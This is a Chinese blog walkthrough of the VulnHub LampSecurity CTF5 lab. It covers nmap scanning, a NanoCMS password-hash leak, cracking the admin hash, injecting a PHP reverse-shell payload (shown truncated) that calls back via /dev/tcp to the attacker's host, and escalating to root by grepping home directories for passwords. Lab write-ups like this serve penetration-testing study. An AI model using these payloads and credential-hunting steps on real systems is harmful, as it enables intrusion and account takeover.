红队打靶:LampSecurity:CTF5打靶思路详解(vulnhub)

目录

 写在开头

 第一步:主机发现与端口扫描

 第二步:web渗透

 第三步:NanoCMS代码执行

 第四步:提权

 总结与思考

写在开头

 本篇博客根据大佬红队笔记的视频进行打靶,详述了打靶的每一步思路,并非复现writeup,读者耐心看完,定会有所收获。打靶过程涉及到关于nano cms数据泄露利用历史记录凭据搜索等。完整打靶思路详见:

「红队笔记」靶机精讲:LAMPSecurityCTF5 - 标准攻击链,却处处需要细心,枚举和信息收集能力才是考验。_哔哩哔哩_bilibili

 本文针对的靶机源于vulnhub,详情见:

LAMPSecurity: CTF5 ~ VulnHub

 靶机下载链接见:

https://download.vulnhub.com/lampsecurity/ctf5.zip

红队打靶:LampSecurity:CTF5打靶思路详解(vulnhub)_第1张图片

 靶机下载后解压,用vmware打开,设置网络连接为NAT模式,开启靶机即可(界面如下):

红队打靶:LampSecurity:CTF5打靶思路详解(vulnhub)_第2张图片

 第一步:主机发现与端口扫描

  常规思路,ip a查看网段和网卡信息,我的kali的ip为192.168.200.131,网段为192.168.200.0/24。然后使用以下几个命令进行扫描。所有的靶机都开局都相似,这里就不详解参数了,具体思路可看

 W1R3S详细打靶思路

 命令如下:

nmap -sn 192.168.200.0/24
nmap --min-rate -p- 192.168.200.144
nmap -sT -sV -O -p22,25,80,110,111,139,143,445,901,3306,36184 192.168.200.144
nmap -sU -p- 192.168.200.144
nmap --script=vuln -p22,25,80,110,111,139,143,445,901,3306 192.168.200.144 

对应第一条命令:主机发现,发现靶机ip为192.168.200.144,第二条命令进行全端口扫描,发现开放端口22,25,80,110,111,139,143,445,901,3306,36184。第三条命令进行服务版本和操作系统探测,第四条命令进行udp端口探测,第五条命令进行漏洞脚本扫描。部分结果如下:

红队打靶:LampSecurity:CTF5打靶思路详解(vulnhub)_第3张图片

具体服务和操作系统版本为:

红队打靶:LampSecurity:CTF5打靶思路详解(vulnhub)_第4张图片 漏洞扫描脚本扫描结果非常多,80端口涉及Dos,敏感信息,sql注入,csrf等,其中我们比较关心的可能是sql注入和敏感信息。总之肯定先从web入手。

红队打靶:LampSecurity:CTF5打靶思路详解(vulnhub)_第5张图片

第二步:web渗透

 从80web端口暴露的信息较大,我们先从web入手。浏览器访问靶机ip,如下图:

红队打靶:LampSecurity:CTF5打靶思路详解(vulnhub)_第6张图片

 这个页面上方有几个栏目(Home/About Us/Blog/Contact/Events),随便点点,同时观察url的特征,点击Blog,界面如下:

红队打靶:LampSecurity:CTF5打靶思路详解(vulnhub)_第7张图片

 可以观察到在Blog界面暴露了cms为Nanocms,同时貌似还有一个跳转至管理界面的位置Admin Login,点击链接,可到达Nanocms的管理后台登录界面,如下:

红队打靶:LampSecurity:CTF5打靶思路详解(vulnhub)_第8张图片

 找到这个登录界面,应该就是常规思路了。我们需要找到凭据登录后台,然后寻找后台cms有没有代码执行的位置,可以上传我们的payload。现在的核心思路就是如何登录这个后台。首先是弱口令,经过几次尝试之后发现不行。我们试图寻找有没有信息泄露的位置,可能暴露这个凭据。然后我又使用了dirb进行目录爆破,也没发现可利用的文件。用searchsploit搜索Nanocms的漏洞,查看是否有绕过登录这种漏洞:

searchsploit nanocms 

 发现了一个远程代码执行的漏洞,不过很遗憾,是需要认证的Authenticated,也就是需要先登录才能利用。再去谷歌搜索以下nanocms exploit看看有没有其他漏洞:

红队打靶:LampSecurity:CTF5打靶思路详解(vulnhub)_第9张图片

 确实有,如上图。第二个词条就是searchsploit的RCE漏洞,第一、三个词条貌似都提到了一个密码泄露,点开看看:

红队打靶:LampSecurity:CTF5打靶思路详解(vulnhub)_第10张图片

 这个界面给出了一个漏洞:Nanocms '/data/pagesdata.txt' 密码哈希信息泄露漏洞。这是非常关键的信息,他说明在路径/data/pagesdata.txt可能存在凭据泄露,因此我们浏览器访问:http://192.168.200.144/~andy/data/pagesdata.txt

红队打靶:LampSecurity:CTF5打靶思路详解(vulnhub)_第11张图片

 这个界面的数据貌似是序列化数据。最后一行给出了用户名是admin,密码的哈希值是9d2f75377ac0ab991d40c91fd27e52fd ,感觉这个哈希是md5,还是用hash-identifier确认一下:

红队打靶:LampSecurity:CTF5打靶思路详解(vulnhub)_第12张图片

 果然是md5,找个在线工具破解一下就行了,网址如下:

Decrypt MD5, SHA1, MySQL, NTLM, SHA256, MD5 Email, SHA256 Email, SHA512, Wordpress, Bcrypt hashes for free online

红队打靶:LampSecurity:CTF5打靶思路详解(vulnhub)_第13张图片

 成功拿到了密码shannon,回到刚才的nanocms登录界面,使用用户名admin,密码shannon进行尝试,虽然有点卡,但总算登录成功了。

红队打靶:LampSecurity:CTF5打靶思路详解(vulnhub)_第14张图片

 第三步:NanoCMS代码执行

 这一步就到了常规思路了。寻找后台能够代码执行的位置,构造我们的反弹shell的payload,从而在kali中拿到初始立足点。我们先在这个后台翻找翻找,看看是否存在代码执行的位置:

红队打靶:LampSecurity:CTF5打靶思路详解(vulnhub)_第15张图片

 在Pages & Options界面,我们可以看到有两个已经部署好的界面Home和Contact,干脆就直接利用已有页面好了,点击Contant中的修改图标Edit,看看里面有啥:

红队打靶:LampSecurity:CTF5打靶思路详解(vulnhub)_第16张图片

 里面有网页的源代码,那么我们干脆在上图的界面添加php的反弹shell指令,添加之前,先在kali中另起一个终端,然后开启nc监听1234端口:

nc -lvnp 1234

红队打靶:LampSecurity:CTF5打靶思路详解(vulnhub)_第17张图片

 然后回到NanoCMS的Contact部署页面,添加php的payload:

& /dev/tcp/192.168.200.131/1234 0>&1'"); ?>

红队打靶:LampSecurity:CTF5打靶思路详解(vulnhub)_第18张图片

 添加完成之后点击Save Page Content,回到kali中监听端口的终端,没啥反应,看来我们只是部署了代码,并未执行。回到最开始Blog的页面,由于我们修改的是Contact,应该要访问这个页面才触发,如下图,点击Contact:

红队打靶:LampSecurity:CTF5打靶思路详解(vulnhub)_第19张图片

 在nc监听的端口中成功拿到了反弹shell:

红队打靶:LampSecurity:CTF5打靶思路详解(vulnhub)_第20张图片

 第四步:提权

 whoami查看自己是谁,发现是apache,应该是个权限很低的用户

红队打靶:LampSecurity:CTF5打靶思路详解(vulnhub)_第21张图片

 运行命令sudo -l查看权限却发现没有权限运行sudo,我们看一看/etc/passwd文件的信息:

cat /etc/passwd

 

红队打靶:LampSecurity:CTF5打靶思路详解(vulnhub)_第22张图片

 发现有非常多的账户,不过大部分都没有bash环境,在末尾的几个账户是有bash环境的。在看看/etc/shadow,果然没有权限

又经过一系列的搜索,没发现特殊的信息,结合/etc/passwd中有Bash的用户有很多,很有可能其中的某个用户会在自己家目录中的文件里写入有关root的密码。我们在/home目录搜索一下包含'pass'字符串的文件有哪些,命令如下:

grep -R -i pass /home/* 2>/dev/null

该命令的含义是在/home/目录下递归搜索包含不区分大小写的字符串"pass"的文件,并将搜索结果输出到标准输出。命令的具体解释如下:

  • grep: 是一个用于在文件中搜索指定模式的命令。
  • -R: 表示递归搜索,将在指定目录及其子目录下搜索文件。
  • -i: 表示忽略大小写,在搜索时不区分大小写。
  • pass: 是要搜索的字符串模式。
  • /home/*: 搜索的目录路径,/home/表示在/home/目录下搜索,*表示搜索所有子目录和文件。
  • 2>/dev/null: 将标准错误输出重定向到/dev/null设备,这样错误信息将被丢弃而不会显示在终端上。

结果搜到了非常多的文件,我们慢慢往下翻找,最终发现/home/patrick/.tomboy/481bca0d-7206-45dd-a459-a72ea1131329.note含有一个title标签,为Root password,这很可能就是root密码所在。

红队打靶:LampSecurity:CTF5打靶思路详解(vulnhub)_第23张图片

 查看这个文件:

cat /home/patrick/.tomboy/481bca0d-7206-45dd-a459-a72ea1131329.note

红队打靶:LampSecurity:CTF5打靶思路详解(vulnhub)_第24张图片

 发现这是个xml文档,其中有一串奇怪的字符'50$cent',这很可能就是root密码,因此我们运行指令su - 进行提权,发现报错,估计是shell不完全的问题。

因此先用python获取交互性更好的shell

python -c "import pty;pty.spawn('/bin/bash')"

 然后运行提权指令:

su -

红队打靶:LampSecurity:CTF5打靶思路详解(vulnhub)_第25张图片

 至此打靶完成。

 总结与思考

 总体而言感觉这个靶机也不算复杂,但在web渗透和提权的过程还是需要一些经验。寻找cms密码的时候也是需要一些经验的,如果执迷于dirb目录爆破,虽然可以看到很多文件,但都不可利用,容易耗费大量的时间。同时由于这个靶机开放的端口比较多,暴露的攻击面也比较多,有可能让我们钻入兔子洞难以出来。最后提权的时候,搜索含有pass字符串的文件也是很有经验的操作,而这步操作正是基于/etc/passwd文件中的多用户bash的情况,很有可能有用户为了方便提权操作,会在自己的目录下存放有关提权的密码文件,我们正是利用了这一点。最后总结一下打靶过程:

第一步:主机发现和端口扫描:漏洞扫描发现了80端口存在很多漏洞,还是从web入手。

第二步:web渗透,发现NanoCMS及其后台登录界面,寻找登录密码,最后Google搜索到了NanoCMS的凭据泄露漏洞,成功登录后台。

第三步:CMS后台代码执行:登录NanoCMS后台,寻找代码执行的位置,添加反弹shell的payload,保存修改并点击对应页面触发代码执行,拿到了初始立足点。

第四步:提权。寻找敏感信息,最后发现用户patrick家目录中的文件包含root密码,提权成功。

 这篇打靶就完成了,以后会继续坚持打靶,学习网安知识并分享。希望读者多多点赞支持!如有问题欢迎评论区讨论,我一定知无不言。 

你可能感兴趣的:(红队打靶,网络安全,系统安全,linux,web安全,服务器)